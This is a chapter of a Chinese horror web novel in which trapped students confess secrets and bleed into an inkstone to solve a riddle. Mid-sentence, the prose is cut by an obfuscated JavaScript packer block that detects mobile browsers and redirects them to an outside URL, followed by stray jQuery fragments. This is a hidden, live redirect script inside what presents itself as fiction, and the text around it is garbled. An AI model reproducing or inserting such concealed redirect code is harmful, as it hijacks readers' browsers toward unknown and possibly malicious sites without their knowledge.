书静静地摊开在那里,仿佛刚才的一切从未发生。
“它,它竟然自己会动,”苏小晓牙齿打颤,死死抓着苏晚的胳膊。
数学老师嘴唇哆嗦着,一句话也说不出来。
那个之前质疑苏晚的男生,脸色煞白,再也说不出话来,他感激的看向苏晚,如果刚才他贸然去拿了钥匙,或者苏晚没有阻止他碰这本书,后果不堪设想。
所有的怀疑和猜忌,在这一刻被最原始的恐惧所取代。
苏晚的心脏也在胸腔里擂鼓,但她强行压下恐惧,目光锐利地看向那本自动翻开的书。
只见它停驻的那一页,并非是《说文解字》正常的释义页面,而是一张插图,画着一方古朴的砚台,砚台旁边搁着一支毛笔。
插图的空白处,还有几行朱红色的批注小字,字迹潦草癫狂:
“研磨谎言,书写罪行。
真言为墨,方得解脱。
——赠予后来者”
‘真言为墨?’苏晚猛地看向那张硬纸片背后的提示:“三人之言,或可见真”。
谎言,真言,代价,几条线索似乎隐隐被串联了起来。
“研磨谎言,书写罪行,”赵峰低声重复着那句话,眼神复杂地看向苏晚,又迅速移开,“这到底是什么意思?”
“难道,这是要我们说真话?”一个女生怯生生地猜测,“像真心话大冒险一样?”
“别瞎猜了。”那个发现钥匙的男生心有余悸地离那个木盒远了几步,烦躁地说,“这鬼地方一会儿血字一会儿自翻书的,谁知道是不是又一个陷阱,这把钥匙肯定是假的,我们得去找真的。”
他的话说出了大部分人的心声,那把钥匙此刻在他们眼中,不再是希望,而是催命符。
“可是真的钥匙会在哪?”众人陷入迷茫。
苏晚深吸一口气,她知道真的钥匙大概的方向,但前世苏小晓触发陷阱后,他们慌乱逃窜,最后是在一个意想不到的地方找到的真钥匙,钥匙藏在一尊破损的墨子雕像里(前世房间里有各种诸子百家雕像)。但现在,雕像变成了孔子像,线索指向了“真言”。
苏晚环顾四周,目光最终落在那张放着毒书和硬纸片的破桌子上,桌子上除了灰尘,似乎还有别的东西,她走过去,用桌腿拨开厚厚的灰尘。
下面露出的,不是木头,而是一块光滑却又暗沉的石板,石板的中心,恰好有一个凹槽,那形状,正是一方砚台。
而在石板旁边,还散落着几块干涸黑红色的东西,像是凝固的墨块,但却散发着淡淡的血腥味。
苏晚的心跳漏了一拍,她似乎明白了。
“需要砚台和墨?”她喃喃地道。
“砚台?墨?”苏小晓顺着她的目光看去,也看到了那个凹槽和奇怪的“墨块”,“可是这里只有凹槽,没有砚台啊?墨块也看起来怪怪的。”
“找。”苏晚斩钉截铁,“大家分散开,但不要走远,就在这附近找找看有没有砚台,还有类似这种颜色的墨块。”她指了指那带着血味的凝固物。
有了明确的目标,而且刚刚被诡异事件吓到,众人暂时抛开了猜忌,开始在这片区域仔细搜寻。
书架底部,沙发缝隙,桌子底下,众人仔细地找着。
“这里,这里有个东西。”很快,一个女生在角落一个破损的花盆后面发现了一样东西,她不敢用手拿,用脚把它拨了出来。
那是一个看起来十分古旧的砚,砚台上沾满了已经发黑的血污,边缘还有一道清晰的裂纹。
几乎同时,另一个男生在一个抽屉里发现了几块同样黑红色凝固的“墨块”,用布包着拿了过来,浓烈的血腥味扑面而来,让人作呕。
砚台和“墨块”都有了,但怎么用?
“研磨谎言,书写罪行,”苏晚回忆着那行朱批,“真言为墨。”
苏晚看着那血腥的“墨块”,一个可怕的猜想浮上心头。
‘这代价,莫非是…’她猛地抬头,目光扫过惊疑不定的同学们,最后落在了那方染血的砚台上。
“也许,‘研磨谎言’的意思,”苏晚的声音干涩,带着一丝自己都未曾察觉的颤抖,她试探着开口,“是需要有人,说出一个隐藏最深的,欺骗了大家的‘谎言’,以血为墨,磨于砚中,才能得到下一步的提示?
苏晚的话像一块冰,砸进了死寂的空气里,让所有人瞬间冻僵。
说出隐藏最深的谎言,以血为墨?
这听起来简直像是邪教的仪式。
“开,开什么玩笑!”一个男生率先叫起来,脸色发白,“这算什么提示?让我们互相揭短吗?”
“就是,谁知道说的是真是假?万一有人胡乱说一个呢?”另一个女生附和道,眼神躲闪。
“这太荒谬了。”数学老师也皱紧眉头,显然无法接受这种方式。
猜忌和恐惧再次弥漫开来。
这一次,不仅仅是针对环境,更是针对身边的每一个人。谁藏着不可告人的秘密,谁又曾欺骗过大家?
苏晚的心也沉了下去,她知道这个提议会引发恐慌,但这似乎是目前唯一能与线索对应的方式,“三人之言,或可见真”,可能需要多个人的“真言”才能触发。
苏晚看向那方染血的砚台和散发着腥气的“墨块”,胃里一阵翻腾。系统的恶意赤裸裸地展现出来,它不仅在考验智力,更是在玩弄人心,逼迫他们在恐惧中互相撕裂。
“不然呢?”苏晚的声音提高了一些,压过骚动,“我们还有别的选择吗?那把钥匙明显是陷阱,时间已经过去了很久了,你们想永远困在这里,或者被那个不知道是什么的东西追上吗?”
她的话戳中了所有人的痛处,死亡的倒计时无声地催促着。
“可是,说什么谎言?”苏小晓小声问,带着哭腔,“我,我没骗过大家什么啊。”
“不一定是要多大的谎言。”苏晚盯着那砚台,“也许只是一些隐瞒的小事情,或者与当前情况相关的误导。”她意有所指,但无法明说。
人群沉默了,每个人都在暗自思忖,眼神游移,不敢与他人对视。
“我,我先来吧。”一个微弱的声音响起。
是那个之前发现脚印的男生,他叫刘帆,平时在班里很不起眼,他脸色苍白,嘴唇哆嗦着,似乎下了很大的决心。
“我,我其实,”他低下头,声音细若蚊蚋,“我一模二模考试数学作弊了,抄了隔壁班王伟的题,我一直没敢说,怕被处分,影响高考。”
他说完,长长舒了口气,像是卸下了一个沉重的包袱,但随即又陷入更大的不安,小心翼翼地观察着众人的反应,尤其是数学老师的反应。
这只是一个无足轻重的小秘密,在平时可能引来鄙夷或嘲笑,但在此刻这种环境下,却显得微不足道,甚至数学老师都没有对此发表评论。
“然后呢,”苏晚看向砚台,“可能需要血?”
刘帆颤抖着伸出手指,看着那方沾满陈旧血污的砚台,眼中充满恐惧,他咬咬牙,从旁边捡起一块尖锐的木屑,闭眼在自己指尖狠狠一划。
“嘶,”他痛得吸了口冷气,鲜红的血珠瞬间涌出。
在众人紧张的注视下,他将滴血的手指悬在砚堂之上,鲜血一滴滴落下,落在那些干涸发黑的血痂上,缓缓晕开,散发出新鲜而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276181|182427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浓烈的铁锈味。
一滴,两滴,三滴,什么都没有发生。
“看来,还是不行。”苏晚的心揪紧了。
“也许,需要多几个人,”赵峰忽然开口,他目光扫过众人,最后落在苏晚身上,“‘三人之言’,提示说了需要三个人。”
气氛再次凝固,还需要两个人站出来,剖开自己的秘密,献上鲜血。
“我,我也来。”一个矮个子的女生举了手,她是语文课代表李莉,“我,我之前因为嫉妒苏晚得语文老师的喜爱,好几次故意没给她发试卷,说是再去找语文老师要一份没找到,实际上我根本没去。苏晚,对不起。”
她同样用碎木划破手指,将血滴入砚中。鲜血与刘帆的血混合在一起,砚堂中的液体多了些许,但那血腥味更加令人作呕。
只是砚台,依旧没有反应。
所有人的目光,不由自主地,再次聚焦到了苏晚身上。
是她提出的方法,是她一次次表现出异常,是她跳过了初始谜题,她的身上,无疑藏着最大的“谎言”。
赵峰看着她,轻声问:“苏晚,你呢?”
苏小晓紧紧抓着她的胳膊,担忧地看着她。
数学老师和其他同学的眼神里充满了复杂的情绪,怀疑、期盼、恐惧等等。
苏晚的掌心全是冷汗,她能说什么?说自己是重生的?说她知道未来会发生什么?说她知道他们很多人会死?
系统会允许她透露吗?说出真相,她会不会立刻被抹杀?但不说的代价是什么?无法继续?被困死在这里?
苏晚看着那方汇聚了两人鲜血的砚台,又看了看那散发着不祥气息的“墨块”。
她忽然意识到,那所谓的“墨块”,或许根本就是凝固的前人的血液,系统的残酷远超想象。
苏晚深吸一口气,走到了砚台前,“我,”她开口,声音有些疲惫,“我确实隐瞒了一些事情。”
所有人的呼吸都屏住了。
“我,”苏晚的大脑飞速运转,编织着一个半真半假的与当前情境相关的“谎言”,“我其实,刚才在门口,看到那行血字和脚印的时候,我吓得差点晕过去,但我强行装镇定,我并不是真的那么冷静,我很害怕,怕得要死,我让大家跟着我,其实心里一点底都没有。”
苏晚说完,心脏狂跳,这是真话,也是假话。她确实害怕,但她的镇定并非完全假装,而是源于已知的信息,而前世的她是在刻意假装镇定,两个她,都是她。
苏晚拿起那块尖锐的木屑,锋利的断口刺痛了她的指尖,她没有犹豫,用力一划。
清晰的痛感传来,鲜红的血从指尖涌出,滴落砚中。
三人的鲜血汇聚在一起,在砚堂中缓缓交融。
就在苏晚的血液滴入的瞬间,嗡的一声,那方染血的砚猛地轻微震动了一下,表面那些陈旧和新鲜的血迹像是活了过来一般,开始扭曲旋转,散发出一种暗淡不祥的红光。
砚台上那道裂纹也仿佛睁开的眼睛,渗出血色的光芒。
紧接着,旁边那几块凝固的“血墨块”自动飞起,投入发光的砚堂之中,迅速融化,与其中的血液混合,形成一种粘稠暗红色的“墨汁”。
一股更加浓烈,令人作呕的血腥气爆发开来,弥漫在整个空间,红光映照在每个人惊骇的脸上。
更让人毛骨悚然的是,那摊血墨的表面开始波动,浮现出一张模糊扭曲,痛苦不堪的人脸轮廓,它张着嘴,发出无声的呐喊,随即又溃散消失。
然后,一行由血墨组成的字迹在砚台表面浮现出来,如同命运的判词:【真言已验,代价已付。线索在东,慎取之。】